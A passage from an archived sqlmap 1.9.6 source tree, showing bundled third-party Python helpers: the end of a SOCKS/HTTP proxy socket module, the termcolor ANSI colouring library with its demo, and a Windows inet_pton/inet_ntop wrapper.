statusline = resp.splitlines()[0].split(" ".encode(), 2) if statusline[0] not in ("HTTP/1.0".encode(), "HTTP/1.1".encode()): self.close() raise GeneralProxyError((1, _generalerrors[1])) try: statuscode = int(statusline[1]) except ValueError: self.close() raise GeneralProxyError((1, _generalerrors[1])) if statuscode != 200: self.close() raise HTTPError((statuscode, statusline[2])) self.__proxysockname = ("0.0.0.0", 0) self.__proxypeername = (addr, destport) def connect(self, destpair): """connect(self, despair) Connects to the specified destination through a proxy. destpar - A tuple of the IP/DNS address and the port number. (identical to socket's connect). To select the proxy server use setproxy(). """ # Do a minimal input check first if (not type(destpair) in (list,tuple)) or (len(destpair) < 2) or (type(destpair[0]) != type('')) or (type(destpair[1]) != int): raise GeneralProxyError((5, _generalerrors[5])) if self.__proxy[0] == PROXY_TYPE_SOCKS5: if self.__proxy[2] != None: portnum = self.__proxy[2] else: portnum = 1080 _orgsocket.connect(self, (self.__proxy[1], portnum)) self.__negotiatesocks5(destpair[0], destpair[1]) elif self.__proxy[0] == PROXY_TYPE_SOCKS4: if self.__proxy[2] != None: portnum = self.__proxy[2] else: portnum = 1080 _orgsocket.connect(self,(self.__proxy[1], portnum)) self.__negotiatesocks4(destpair[0], destpair[1]) elif self.__proxy[0] == PROXY_TYPE_HTTP: if self.__proxy[2] != None: portnum = self.__proxy[2] else: portnum = 8080 _orgsocket.connect(self,(self.__proxy[1], portnum)) self.__negotiatehttp(destpair[0], destpair[1]) elif self.__proxy[0] == None: _orgsocket.connect(self, (destpair[0], destpair[1])) else: raise GeneralProxyError((4, _generalerrors[4])) def create_connection(address, timeout=socket._GLOBAL_DEFAULT_TIMEOUT, source_address=None): # Patched for a DNS-leakage host, port = address sock = None try: sock = socksocket(socket.AF_INET, socket.SOCK_STREAM) if timeout is not socket._GLOBAL_DEFAULT_TIMEOUT: sock.settimeout(timeout) if source_address: sock.bind(source_address) sock.connect(address) except socket.error: if sock is not None: sock.close() raise return sock sqlmap-1.9.6/thirdparty/termcolor/000077500000000000000000000000001502261744200172275ustar00rootroot00000000000000sqlmap-1.9.6/thirdparty/termcolor/__init__.py000066400000000000000000000000001502261744200213260ustar00rootroot00000000000000sqlmap-1.9.6/thirdparty/termcolor/termcolor.py000066400000000000000000000121761502261744200216160ustar00rootroot00000000000000# coding: utf-8 # Copyright (c) 2008-2011 Volvox Development Team # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. # # Author: Konstantin Lepa """ANSII Color formatting for output in terminal.""" from __future__ import print_function import os __ALL__ = [ 'colored', 'cprint' ] VERSION = (1, 1, 0) ATTRIBUTES = dict( list(zip([ 'bold', 'dark', '', 'underline', 'blink', '', 'reverse', 'concealed' ], list(range(1, 9)) )) ) del ATTRIBUTES[''] HIGHLIGHTS = dict( list(zip([ 'on_grey', 'on_red', 'on_green', 'on_yellow', 'on_blue', 'on_magenta', 'on_cyan', 'on_white' ], list(range(40, 48)) )) ) COLORS = dict( list(zip([ 'grey', 'red', 'green', 'yellow', 'blue', 'magenta', 'cyan', 'white', ], list(range(30, 38)) )) ) COLORS.update(dict(("light%s" % color, COLORS[color] + 60) for color in COLORS)) # Reference: https://misc.flogisoft.com/bash/tip_colors_and_formatting COLORS["lightgrey"] = 37 COLORS["darkgrey"] = 90 RESET = '\033[0m' def colored(text, color=None, on_color=None, attrs=None): """Colorize text. Available text colors: red, green, yellow, blue, magenta, cyan, white. Available text highlights: on_red, on_green, on_yellow, on_blue, on_magenta, on_cyan, on_white. Available attributes: bold, dark, underline, blink, reverse, concealed. Example: colored('Hello, World!', 'red', 'on_grey', ['blue', 'blink']) colored('Hello, World!', 'green') """ if os.getenv('ANSI_COLORS_DISABLED') is None: fmt_str = '\033[%dm%s' if color is not None: text = fmt_str % (COLORS[color], text) if on_color is not None: text = fmt_str % (HIGHLIGHTS[on_color], text) if attrs is not None: for attr in attrs: text = fmt_str % (ATTRIBUTES[attr], text) text += RESET return text def cprint(text, color=None, on_color=None, attrs=None, **kwargs): """Print colorize text. It accepts arguments of print function. """ print((colored(text, color, on_color, attrs)), **kwargs) if __name__ == '__main__': print('Current terminal type: %s' % os.getenv('TERM')) print('Test basic colors:') cprint('Grey color', 'grey') cprint('Red color', 'red') cprint('Green color', 'green') cprint('Yellow color', 'yellow') cprint('Blue color', 'blue') cprint('Magenta color', 'magenta') cprint('Cyan color', 'cyan') cprint('White color', 'white') print(('-' * 78)) print('Test highlights:') cprint('On grey color', on_color='on_grey') cprint('On red color', on_color='on_red') cprint('On green color', on_color='on_green') cprint('On yellow color', on_color='on_yellow') cprint('On blue color', on_color='on_blue') cprint('On magenta color', on_color='on_magenta') cprint('On cyan color', on_color='on_cyan') cprint('On white color', color='grey', on_color='on_white') print('-' * 78) print('Test attributes:') cprint('Bold grey color', 'grey', attrs=['bold']) cprint('Dark red color', 'red', attrs=['dark']) cprint('Underline green color', 'green', attrs=['underline']) cprint('Blink yellow color', 'yellow', attrs=['blink']) cprint('Reversed blue color', 'blue', attrs=['reverse']) cprint('Concealed Magenta color', 'magenta', attrs=['concealed']) cprint('Bold underline reverse cyan color', 'cyan', attrs=['bold', 'underline', 'reverse']) cprint('Dark blink concealed white color', 'white', attrs=['dark', 'blink', 'concealed']) print(('-' * 78)) print('Test mixing:') cprint('Underline red on grey color', 'red', 'on_grey', ['underline']) cprint('Reversed green on red color', 'green', 'on_red', ['reverse']) sqlmap-1.9.6/thirdparty/wininetpton/000077500000000000000000000000001502261744200175775ustar00rootroot00000000000000sqlmap-1.9.6/thirdparty/wininetpton/__init__.py000066400000000000000000000004771502261744200217200ustar00rootroot00000000000000#!/usr/bin/env python # # Copyright Ryan Vennell # # This software released into the public domain. Anyone is free to copy, # modify, publish, use, compile, sell, or distribute this software, # either in source code form or as a compiled binary, for any purpose, # commercial or non-commercial, and by any means. pass sqlmap-1.9.6/thirdparty/wininetpton/win_inet_pton.py000066400000000000000000000053271502261744200230340ustar00rootroot00000000000000#!/usr/bin/env python # This software released into the public domain. Anyone is free to copy, # modify, publish, use, compile, sell, or distribute this software, # either in source code form or as a compiled binary, for any purpose, # commercial or non-commercial, and by any means. import socket import ctypes import os class sockaddr(ctypes.Structure): _fields_ = [("sa_family", ctypes.c_short), ("__pad1", ctypes.c_ushort), ("ipv4_addr", ctypes.c_byte * 4), ("ipv6_addr", ctypes.c_byte * 16), ("__pad2", ctypes.c_ulong)] if hasattr(ctypes, 'windll'): WSAStringToAddressA = ctypes.windll.ws2_32.WSAStringToAddressA WSAAddressToStringA = ctypes.windll.ws2_32.WSAAddressToStringA else: def not_windows(): raise SystemError( "Invalid platform. ctypes.windll must be available." ) WSAStringToAddressA = not_windows WSAAddressToStringA = not_windows def inet_pton(address_family, ip_string): addr = sockaddr() addr.sa_family = address_family addr_size = ctypes.c_int(ctypes.sizeof(addr)) if WSAStringToAddressA( ip_string, address_family, None, ctypes.byref(addr), ctypes.byref(addr_size) ) != 0: raise socket.error(ctypes.FormatError()) if address_family == socket.AF_INET: return ctypes.string_at(addr.ipv4_addr, 4) if address_family == socket.AF_INET6: return ctypes.string_at(addr.ipv6_addr, 16) raise socket.error('unknown address family') def inet_ntop(address_family, packed_ip): addr = sockaddr() addr.sa_family = address_family addr_size = ctypes.c_int(ctypes.sizeof(addr)) ip_string = ctypes.create_string_buffer(128) ip_string_size = ctypes.c_int(ctypes.sizeof(ip_string)) if address_family == socket.AF_INET: if len(packed_ip) != ctypes.sizeof(addr.ipv4_addr): raise socket.error('packed IP wrong length for inet_ntoa') ctypes.memmove(addr.ipv4_addr, packed_ip, 4) elif address_family == socket.AF_INET6: if len(packed_ip) != ctypes.sizeof(addr.ipv6_addr): raise socket.error('packed IP wrong length for inet_ntoa') ctypes.memmove(addr.ipv6_addr, packed_ip, 16) else: raise socket.error('unknown address family') if WSAAddressToStringA( ctypes.byref(addr), addr_size, None, ip_string, ctypes.byref(ip_string_size) ) != 0: raise socket.error(ctypes.FormatError()) return ip_string[:ip_string_size.value - 1] # Adding our two functions to the socket library if os.name == 'nt': socket.inet_pton = inet_pton socket.inet_ntop = inet_ntop